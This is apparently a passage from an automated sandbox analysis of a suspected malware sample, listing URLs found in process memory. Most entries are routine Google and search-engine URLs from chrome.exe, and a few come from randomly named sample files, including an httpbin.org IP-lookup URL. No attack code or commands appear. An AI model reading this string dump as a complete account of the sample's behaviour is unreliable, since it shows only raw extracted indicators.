Source: chrome.exe, 00000003.00000003.1735390825.00003074027EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1774304305.0000307402E98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1769449140.00003074028B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1769134081.0000307402856000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1769107399.0000307402834000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/?usp=installed_webapp
Source: chrome.exe, 00000003.00000003.1735390825.00003074027EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1769134081.0000307402856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/J
Source: chrome.exe, 00000003.00000003.1735390825.00003074027EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1769134081.0000307402856000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1774863372.0000307402F84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/installwebapp?usp=chrome_default
Source: chrome.exe, 00000003.00000002.1768575225.0000307402704000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1769779278.0000307402908000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1776726709.0000307403250000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000003.00000003.1752256875.0000307403320000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-thirdparty.googleusercontent.com/32/type/
Source: chrome.exe, 00000003.00000002.1766243113.00003074023C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1774792236.0000307402F6C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: chrome.exe, 00000003.00000003.1735390825.00003074027EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1769134081.0000307402856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/:
Source: chrome.exe, 00000003.00000002.1766243113.00003074023C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1774792236.0000307402F6C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1774203118.0000307402E60000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1735390825.00003074027EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1769134081.0000307402856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/?lfhs=2
Source: chrome.exe, 00000003.00000002.1774792236.0000307402F6C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1774203118.0000307402E60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/?lfhs=2B~
Source: chrome.exe, 00000003.00000003.1735390825.00003074027EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1769134081.0000307402856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/J
Source: chrome.exe, 00000003.00000002.1773866792.0000307402E20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1741071076.0000307402E1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1739793086.0000307402E20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1735390825.00003074027EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1769134081.0000307402856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/drive/installwebapp?usp=chrome_default
Source: chrome.exe, 00000003.00000002.1766243113.00003074023C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/y
Source: chrome.exe, 00000003.00000002.1771959748.0000307402B68000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1774066627.0000307402E48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?q=
Source: chrome.exe, 00000003.00000002.1771959748.0000307402B68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?q=searchTerms
Source: chrome.exe, 00000003.00000002.1773866792.0000307402E20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1741071076.0000307402E1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1739793086.0000307402E20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: chrome.exe, 00000003.00000002.1774066627.0000307402E48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: chrome.exe, 00000003.00000002.1774066627.0000307402E48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtabm
Source: chrome.exe, 00000003.00000002.1774066627.0000307402E48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.ico
Source: ehoYPkfWhVokJMBQaExv.dll.0.dr	String found in binary or memory: https://gcc.gnu.org/bugs/):
Source: chrome.exe, 00000003.00000002.1762479102.0000279400920000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/
Source: chrome.exe, 00000003.00000003.1731159047.0000279400728000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1762653104.0000279400980000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1731024543.000027940071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/2J
Source: chrome.exe, 00000003.00000002.1762479102.0000279400920000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/Enabled_Notice_M1_AllAPIs_GA4Kids_Stable_20230830htt
Source: chrome.exe, 00000003.00000002.1762479102.0000279400920000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/https://google-ohttp-relay-query.fastly-edge.com/htt
Source: chrome.exe, 00000003.00000002.1762479102.0000279400920000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/
Source: chrome.exe, 00000003.00000003.1731159047.0000279400728000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1762653104.0000279400980000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1731024543.000027940071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/2P
Source: chrome.exe, 00000003.00000003.1731706132.0000279400878000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/
Source: chrome.exe, 00000003.00000003.1731159047.0000279400728000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1762653104.0000279400980000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1731024543.000027940071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/bJ
Source: chrome.exe, 00000003.00000002.1766243113.00003074023C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1763094812.0000307402214000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: chrome.exe, 00000003.00000002.1766243113.00003074023C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/googleapis.com
Source: chrome.exe, 00000003.00000002.1769213929.0000307402860000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://googleusercontent.com/
Source: rJvOqHxkuI.exe, 00000000.00000003.1306358333.000000000710F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://httpbin.org/ip
Source: rJvOqHxkuI.exe, 00000000.00000003.1306358333.000000000710F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://httpbin.org/ipbefore
Source: chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/161903006
Source: chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/166809097
Source: chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/184850002
Source: chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/187425444
Source: chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/220069903
Source: chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/229267970
Source: chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/250706693
Source: chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/253522366
Source: chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/255411748
Source: chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/258207403
Source: chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/274859104
Source: chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/284462263
Source: chrome.exe, 00000003.00000003.1738798489.0000307402BC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/issues/166475273
Source: chrome.exe, 00000003.00000002.1768511313.00003074026D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1770548471.00003074029B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1770633281.00003074029CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1774344392.0000307402EA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTE
Source: chrome.exe, 00000003.00000002.1768511313.00003074026D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1770548471.00003074029B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1770633281.00003074029CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1774344392.0000307402EA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTEkly
Source: chrome.exe, 00000003.00000003.1731024543.000027940071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2
Source: chrome.exe, 00000003.00000002.1762412896.0000279400904000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard
Source: chrome.exe, 00000003.00000003.1731159047.0000279400728000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1762653104.0000279400980000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1731024543.000027940071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard2
Source: chrome.exe, 00000003.00000003.1731159047.0000279400728000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1762653104.0000279400980000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1731024543.000027940071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardb
Source: chrome.exe, 00000003.00000002.1762412896.0000279400904000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardhttps://labs.google.com/search/experiments
Source: chrome.exe, 00000003.00000003.1731024543.000027940071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiments
Source: chrome.exe, 00000003.00000003.1752412624.000030740340C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1752104484.0000307402504000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1774552614.0000307402F1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1752256875.0000307403320000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/upload
Source: chrome.exe, 00000003.00000003.1752412624.000030740340C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1752104484.0000307402504000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1774552614.0000307402F1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1752256875.0000307403320000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/uploadbyurl
Source: chrome.exe, 00000003.00000003.1731706132.0000279400878000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1752256875.0000307403320000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload
Source: chrome.exe, 00000003.00000003.1731024543.000027940071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload2
Source: chrome.exe, 00000003.00000002.1762479102.0000279400920000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadSidePanelCompanionDesktopM116Plus0
Source: chrome.exe, 00000003.00000002.1762479102.0000279400920000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadSidePanelCompanionDesktopM116PlusEnabled_UnPinned_NewTab_20230918
Source: chrome.exe, 00000003.00000002.1762379362.00002794008D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadcompanion-iph-blocklisted-page-urlsexps-registration-success-page-u
Source: chrome.exe, 00000003.00000002.1766243113.00003074023C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://m.google.com/devicemanagement/data/api
Source: chrome.exe, 00000003.00000002.1775083393.0000307402FE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/
Source: chrome.exe, 00000003.00000003.1735390825.00003074027EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1769134081.0000307402856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/:
Source: chrome.exe, 00000003.00000003.1735390825.00003074027EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1774304305.0000307402E98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1769134081.0000307402856000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1774344392.0000307402EA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?usp=installed_webapp
Source: chrome.exe, 00000003.00000003.1735390825.00003074027EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1769134081.0000307402856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/J
Source: chrome.exe, 00000003.00000003.1735390825.00003074027EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1769134081.0000307402856000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1774344392.0000307402EA8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1763906684.00003074022EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/installwebapp?usp=chrome_default
Source: chrome.exe, 00000003.00000002.1768575225.0000307402704000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1769779278.0000307402908000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1776726709.0000307403250000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/?utm_source=ga-chrome-actions&utm_medium=manageGA
Source: chrome.exe, 00000003.00000002.1770241780.0000307402980000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1767658765.00003074025F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacy
Source: chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacyf
Source: chrome.exe, 00000003.00000002.1770241780.0000307402980000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1774978440.0000307402FB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1767658765.00003074025F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhone
Source: chrome.exe, 00000003.00000002.1774978440.0000307402FB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhoneEn
Source: chrome.exe, 00000003.00000002.1774978440.0000307402FB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1767658765.00003074025F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/signinoptions/password?utm_source=ga-chrome-actions&utm_medium=changePW
Source: chrome.exe, 00000003.00000002.1772294755.0000307402C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1771959748.0000307402B97000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myactivity.google.com/
Source: chrome.exe, 00000003.00000002.1766243113.00003074023C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oauthaccountmanager.googleapis.com/
Source: chrome.exe, 00000003.00000002.1766443384.000030740240C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oauthaccountmanager.googleapis.com/v1/issuetoken
Source: chrome.exe, 00000003.00000002.1773115585.0000307402D18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com
Source: chrome.exe, 00000003.00000003.1740909441.00003074027EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1775328017.0000307403030000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1&target=OPTIMIZATION_TARGET_PAGE_TOPICS_
Source: chrome.exe, 00000003.00000003.1740909441.00003074027EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1772577336.0000307402C58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1775361237.000030740303C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1775328017.0000307403030000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1673999601&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000003.00000003.1740909441.00003074027EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1772577336.0000307402C58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1775328017.0000307403030000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1679317318&target=OPTIMIZATION_TARGET_LAN
Source: chrome.exe, 00000003.00000003.1740909441.00003074027EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1775328017.0000307403030000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049402&target=OPTIMIZATION_TARGET_GEO
Source: chrome.exe, 00000003.00000003.1740909441.00003074027EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1775328017.0000307403030000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049414&target=OPTIMIZATION_TARGET_NOT
Source: chrome.exe, 00000003.00000002.1774937910.0000307402FAC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1740909441.00003074027EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1775328017.0000307403030000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695051229&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000003.00000003.1740909441.00003074027EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1775328017.0000307403030000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=210230727&target=OPTIMIZATION_TARGET_CLIE
Source: chrome.exe, 00000003.00000002.1768511313.00003074026D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/v1:GetHints
Source: chrome.exe, 00000003.00000002.1772294755.0000307402C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1771959748.0000307402B97000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com/settings?referrer=CHROME_NTP
Source: chrome.exe, 00000003.00000003.1752412624.000030740340C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1752104484.0000307402504000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1752256875.0000307403320000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com?referrer=CHROME_NTP
Source: chrome.exe, 00000003.00000002.1772294755.0000307402C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1771959748.0000307402B97000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://policies.google.com/
Source: chrome.exe, 00000003.00000002.1763276220.0000307402280000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/clientreport/chrome-sct-auditing
Source: chrome.exe, 00000003.00000002.1763276220.0000307402280000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sctauditing-pa.googleapis.com/v1/knownscts/length/$1/prefix/$2?key=AIzaSyBOti4mM-6x9WDnZIjIe
Source: chrome.exe, 00000003.00000002.1766243113.00003074023C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://securitydomain-pa.googleapis.com/v1/
Source: chrome.exe, 00000003.00000002.1768511313.00003074026D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1770548471.00003074029B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1770633281.00003074029CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1774344392.0000307402EA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000003.00000002.1768511313.00003074026D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1770548471.00003074029B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1770633281.00003074029CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1774344392.0000307402EA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actionsactions
Source: chrome.exe, 00000003.00000002.1772527490.0000307402C40000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t0.gstatic.com/faviconV2
Source: chrome.exe, 00000003.00000002.1766243113.00003074023C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tasks.googleapis.com/
Source: chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: chrome.exe, 00000003.00000002.1773866792.0000307402E20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1741071076.0000307402E1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1739793086.0000307402E20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=
Source: chrome.exe, 00000003.00000002.1773866792.0000307402E20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1741071076.0000307402E1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1739793086.0000307402E20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearch
Source: chrome.exe, 00000003.00000002.1773866792.0000307402E20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1741071076.0000307402E1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1739793086.0000307402E20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearchn=opensearch
Source: chrome.exe, 00000003.00000002.1770774098.0000307402A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1771959748.0000307402B68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: chrome.exe, 00000003.00000003.1754864725.0000307403190000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: chrome.exe, 00000003.00000002.1773500392.0000307402DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/Char
Source: chrome.exe, 00000003.00000002.1770774098.0000307402A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/Chary
Source: chrome.exe, 00000003.00000002.1776760941.0000307403264000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1774304305.0000307402E98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/async/ddljson?async=ntp:2
Source: chrome.exe, 00000003.00000002.1776999106.000030740338C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1775766573.00003074030A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Source: chrome.exe, 00000003.00000002.1776013642.00003074030F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/async/newtab_promos
Source: chrome.exe, 00000003.00000002.1766243113.00003074023C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1770687202.00003074029EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1771959748.0000307402B68000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1776644339.0000307403238000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/tips/
Source: chrome.exe, 00000003.00000002.1766243113.00003074023C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1770687202.00003074029EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1771959748.0000307402B68000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1776644339.0000307403238000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/tips/gs
Source: chrome.exe, 00000003.00000002.1775547210.000030740307C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=
Source: chrome.exe, 00000003.00000002.1773709063.0000307402E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1768575225.0000307402704000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1769779278.0000307402908000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chrome.exe, 00000003.00000002.1768575225.0000307402704000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.icoenterInsightsain
Source: chrome.exe, 00000003.00000003.1752256875.0000307403320000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?q=$
Source: chrome.exe, 00000003.00000002.1768511313.00003074026D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/tools/feedback/chrome/__submit
Source: chrome.exe, 00000003.00000002.1772615083.0000307402C7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/undo
Source: chrome.exe, 00000003.00000002.1763094812.0000307402214000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/
